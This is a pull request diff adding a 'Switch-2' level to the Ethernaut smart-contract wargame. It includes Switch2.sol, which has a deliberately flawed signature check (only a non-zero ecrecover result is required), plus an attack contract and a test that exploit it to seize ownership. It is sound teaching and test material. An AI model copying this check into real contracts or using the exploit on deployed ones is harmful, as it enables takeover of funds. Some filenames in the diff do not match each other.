Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
163 changes: 45 additions & 118 deletions client/src/gamedata/authors.json
Original file line number Diff line number Diff line change
@@ -1,152 +1,79 @@
{
"authors": {
"ajsantander": {
"name": [
"Alejandro Santander"
],
"emails": [
"palebluedot@gmail.com"
],
"websites": [
"https://github.com/ajsantander"
],
"name": ["Alejandro Santander"],
"emails": ["palebluedot@gmail.com"],
"websites": ["https://github.com/ajsantander"],
"donate": "0x31a3801499618d3c4b0225b9e06e228d4795b55d"
},
"martriay": {
"name": [
"Martin Triay"
],
"emails": [
"martriay@gmail.com"
],
"websites": [
"https://github.com/martriay"
]
"name": ["Martin Triay"],
"emails": ["martriay@gmail.com"],
"websites": ["https://github.com/martriay"]
},
"AgeManning": {
"name": [
"Adrian Manning"
],
"emails": [
"age@agemanning.com"
],
"websites": [
"https://github.com/AgeManning"
],
"name": ["Adrian Manning"],
"emails": ["age@agemanning.com"],
"websites": ["https://github.com/AgeManning"],
"donate": "0x0f44CD2Ca92645Ada2E47155e4dFC0025c3E9EEc"
},
"syncikin": {
"name": [
"Kyle Riley"
],
"emails": [
"kyle@iosiro.com"
],
"websites": [
"https://github.com/syncikin"
]
"name": ["Kyle Riley"],
"emails": ["kyle@iosiro.com"],
"websites": ["https://github.com/syncikin"]
},
"34x4p08": {
"name": [
"Ivan Zakharov"
],
"emails": [
"34x4p08@gmail.com"
],
"websites": [
"https://github.com/34x4p08"
]
"name": ["Ivan Zakharov"],
"emails": ["34x4p08@gmail.com"],
"websites": ["https://github.com/34x4p08"]
},
"0age": {
"name": [
"0age"
],
"emails": [
"0age@protonmail.com"
],
"websites": [
"https://github.com/0age"
]
"name": ["0age"],
"emails": ["0age@protonmail.com"],
"websites": ["https://github.com/0age"]
},
"nczhu": {
"name": [
"Nicole Zhu"
],
"emails": [
"n@nicole.ai"
],
"websites": [
"https://github.com/nczhu"
]
"name": ["Nicole Zhu"],
"emails": ["n@nicole.ai"],
"websites": ["https://github.com/nczhu"]
},
"patrickalphac": {
"name": [
"Patrick Collins"
],
"emails": [
"patrick@alphachain.io"
],
"websites": [
"http://alphachain.io/blogs/"
],
"name": ["Patrick Collins"],
"emails": ["patrick@alphachain.io"],
"websites": ["http://alphachain.io/blogs/"],
"donate": "0x874437B5a42aA6E6419eC2447C9e36c278c46532"
},
"scottt": {
"name": [
"Scott Tsai"
],
"emails": [
"scottt.tw@gmail.com"
],
"websites": [
"http://scottt.tw"
],
"name": ["Scott Tsai"],
"emails": ["scottt.tw@gmail.com"],
"websites": ["http://scottt.tw"],
"donate": "scottt.eth"
},
"openzeppelin": {
"name": [
"OpenZeppelin"
],
"emails": [
"ethernaut@zeppelin.solutions"
],
"websites": [
"https://openzeppelin.com"
]
"name": ["OpenZeppelin"],
"emails": ["ethernaut@zeppelin.solutions"],
"websites": ["https://openzeppelin.com"]
},
"openzeppelin&forta": {
"name": [
"OpenZeppelin",
"Forta"
],
"emails": [
"ethernaut@zeppelin.solutions",
"info@forta.org"
],
"websites": [
"https://openzeppelin.com",
"https://forta.org"
]
"name": ["OpenZeppelin", "Forta"],
"emails": ["ethernaut@zeppelin.solutions", "info@forta.org"],
"websites": ["https://openzeppelin.com", "https://forta.org"]
},
"ericnordelo": {
"name": [
"Eric Nordelo"
],
"emails": [
"eric.nordelo39@gmail.com"
],
"websites": [
"https://www.ericnordelo.com/"
]
"name": ["Eric Nordelo"],
"emails": ["eric.nordelo39@gmail.com"],
"websites": ["https://www.ericnordelo.com/"]
},
"KStasi": {
"name": [
"Anastasiia Kondaurova"
],
"name": ["Anastasiia Kondaurova"],
"emails": [],
"websites": [
"https://www.linkedin.com/in/kstasi/"
]
"websites": ["https://www.linkedin.com/in/kstasi/"]
},
"staa99": {
"name": "Ahmad Alfawwaz Timehin",
"emails": ["ahmadulfawwaz@gmail.com"],
"websites": ["https://github.com/staa99"],
"donate": "0x534DBE4e23E48faC59847F120a80A83F764a381F"
}
}
}
}
5 changes: 5 additions & 0 deletions client/src/gamedata/en/descriptions/levels/switch.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
Claim ownership of the contract below to complete this level.

 
Things that might help
* See the Help page above, section "Beyond the console"
6 changes: 6 additions & 0 deletions client/src/gamedata/en/descriptions/levels/switch_complete.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
Signature verification is a sensitive operation and improper use can lead to impersonation attacks.
The resulting vulnerability is made more significant when impersonation can lead to privilege escalation
or unauthorized access to funds. This level demonstrates why it is important to understand signature
generation and validation. Refer to the
[signature verification page](https://docs.openzeppelin.com/contracts/2.x/utilities#checking_signatures_on_chain)
on OpenZeppelin contracts to learn more.
17 changes: 16 additions & 1 deletion client/src/gamedata/gamedata.json
Original file line number Diff line number Diff line change
Expand Up @@ -446,6 +446,21 @@
"deployId": "28",
"instanceGas": 1000000,
"author": "KStasi"
},
{
"name": "Switch-2",
"created": "2022-05-21",
"difficulty": "2",
"description": "switch2.md",
"completedDescription": "switch_complete2.md",
"levelContract": "SwitchFactory2.sol",
"instanceContract": "Switch2.sol",
"revealCode": true,
"deployParams": [],
"deployFunds": 0,
"deployId": "32",
"instanceGas": 300000,
"author": "staa99"
}
]
}
}
19 changes: 19 additions & 0 deletions contracts/contracts/attacks/SwitchAttack-2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../levels/Switch2.sol";

contract SwitchAttack2 {
function attack(
address _target,
address _player,
uint8 v,
bytes32 r,
bytes32 s
) public {
Switch2 target = Switch2(_target);
target.changeOwnership(v, r, s);
target.changeOwnership(_player);
}
}
45 changes: 45 additions & 0 deletions contracts/contracts/levels/Switch2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch2 {
address public owner;

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

constructor() {
owner = msg.sender;
}

// Changes the ownership of the contract. Can only be called by the owner.
function changeOwnership(address _owner) public onlyOwner {
owner = _owner;
}

// Changes the ownership of the contract to the sender provided the signature is created by the owner
function changeOwnership(
uint8 v,
bytes32 r,
bytes32 s
) public {
require(
ecrecover(generateHash(owner), v, r, s) != address(0),
"signer is not the owner"
);
owner = msg.sender;
}

// Generates a hash compatible with EIP-191 signatures
function generateHash(address _addr) private pure returns (bytes32) {
bytes32 addressHash = keccak256(abi.encodePacked(_addr));
return
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
addressHash
)
);
}
}
22 changes: 22 additions & 0 deletions contracts/contracts/levels/SwitchFactory2.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./base/Level.sol";
import "./Switch2.sol";

contract SwitchFactory2 is Level {
function createInstance(address) public payable override returns (address) {
Switch2 instance = new Switch2();
return address(instance);
}

function validateInstance(address payable _instance, address _player)
public
view
override
returns (bool)
{
Switch2 instance = Switch2(_instance);
return instance.owner() == _player;
}
}
65 changes: 65 additions & 0 deletions contracts/test/levels/Switch2.test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
/*eslint no-undef: "off"*/
const Switch = artifacts.require('./levels/Switch2.sol');
const SwitchFactory = artifacts.require('./levels/SwitchFactory2.sol');
const SwitchAttack = artifacts.require('./attacks/SwitchAttack2.sol');

const utils = require('../utils/TestUtils');

contract('Switch-2', function (accounts) {
let ethernaut;
let level;
let owner = accounts[1];
let player = accounts[0];

before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await SwitchFactory.new();
await ethernaut.registerLevel(level.address);
});

it('should fail if the player did not solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Switch
);

const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isFalse(completed);
});

it('should allow the player to solve the level', async function () {
const instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Switch
);

const attacker = await SwitchAttack.new();
const signature = await web3.eth.sign(web3.utils.keccak256(owner), player);
await attacker.attack(
instance.address,
player,
`0x${signature.slice(130, 132)}`,
signature.slice(0, 66),
`0x${signature.slice(66, 130)}`
);

const completed = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);

assert.isTrue(completed);
});
});